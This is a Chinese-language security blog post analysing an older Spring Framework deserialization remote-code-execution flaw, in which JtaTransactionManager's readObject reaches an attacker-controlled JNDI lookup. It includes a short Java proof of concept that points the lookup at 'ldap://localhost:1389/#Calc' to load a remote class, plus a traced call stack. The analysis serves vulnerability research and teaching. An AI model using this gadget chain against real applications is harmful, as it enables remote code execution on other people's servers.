说在前面
原标题叫 《Spring framework 反序列化 RCE 漏洞分析》 奈何只能输入 26 个字符以下,故叫 《Spring 反序列化 RCE 漏洞分析》
相关分析漏洞是一个几年前的漏洞,并非是最近刚出的。之所以分析这个漏洞是因为笔者在梳理 fastjson 历史补丁绕过的时候看到了这个漏洞的相关介绍,比起 fastjson 我认为这个漏洞更加简单和直接的揭示了 Java 反序列化和 JNDI 注入的联系
因此读这篇文章前可能需要有一些 Java 方面的前置知识
- Java 序列化以及反序列化
- JNDI 注入
- IDEA 调试
漏洞利用
为了帮助更好的理解这个漏洞,这里给出的 POC 很简略,省略掉了一些与漏洞不相关的启动恶意服务的代码
```java
import org.springframework.transaction.jta.JtaTransactionManager;
import java.io.*;
public class Demo01 {
public static void main(String[] args) throws IOException, ClassNotFoundException {
JtaTransactionManager myPOC = new JtaTransactionManager();
myPOC.setUserTransactionName("ldap://localhost:1389/#Calc");
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(myPOC);
oos.close();
System.out.println(bos);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
ois.readObject();
}
}
```
漏洞分析
相比于 fastjson 利用链,这个利用链已经极其简单,漏洞的核心是 JtaTransactionManager类,该类实现了Java Transaction API,主要功能是处理分布式的事务管理,此类实现了 Serializable,
org.springframework.transaction.jta.JtaTransactionManager#readObject
,这里调用了 initUserTransactionAndTransactionManager
进行一些处理
跟进其发现这里 this.lookupUserTransaction
里面的 this.userTransactionName
是我们可控的,它来自我们 POC 中 setUserTransactionName
的值
跟进 org.springframework.transaction.jta.JtaTransactionManager#lookupUserTransaction
上述核心语句为
return (UserTransaction)this.getJndiTemplate().lookup(userTransactionName, UserTransaction.class);
先看这里
(UserTransaction)this.getJndiTemplate()
追溯 JndiTemplate
的附值,其来源于最开始的 JtaTransactionManager#readObject
因此会调用其 lookup 类,org.springframework.jndi.JndiTemplate#lookup(java.lang.String, java.lang.Class<T>)
,可以看出第二个参数在我们 gadget chain 里并没有什么影响
继续跟进 org.springframework.jndi.JndiTemplate#lookup(java.lang.String)
,这里来到了关键部分
先跟进 execute
,这里会创建一个 ctx
跟进其 getContext
, 其核心在 org.springframework.jndi.JndiTemplate#createInitialContext
,这里初始上下文实现了Context接口,并提供了名称解析的起点
随后由于我们反序列化可控了最开始的 name
参数,导致最后这里 lookup
可控,造成了 JNDI 注入
调用栈
lookup:91, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
doInContext:154, JndiTemplate$1 (org.springframework.jndi)
execute:87, JndiTemplate (org.springframework.jndi)
lookup:152, JndiTemplate (org.springframework.jndi)
lookup:178, JndiTemplate (org.springframework.jndi)
lookupUserTransaction:546, JtaTransactionManager (org.springframework.transaction.jta)
initUserTransactionAndTransactionManager:426, JtaTransactionManager (org.springframework.transaction.jta)
readObject:1193, JtaTransactionManager (org.springframework.transaction.jta)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1909, ObjectInputStream (java.io)
readOrdinaryObject:1808, ObjectInputStream (java.io)
readObject0:1353, ObjectInputStream (java.io)
readObject:373, ObjectInputStream (java.io)
main:18, Demo01 (com.p2hm1n.springdemo)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论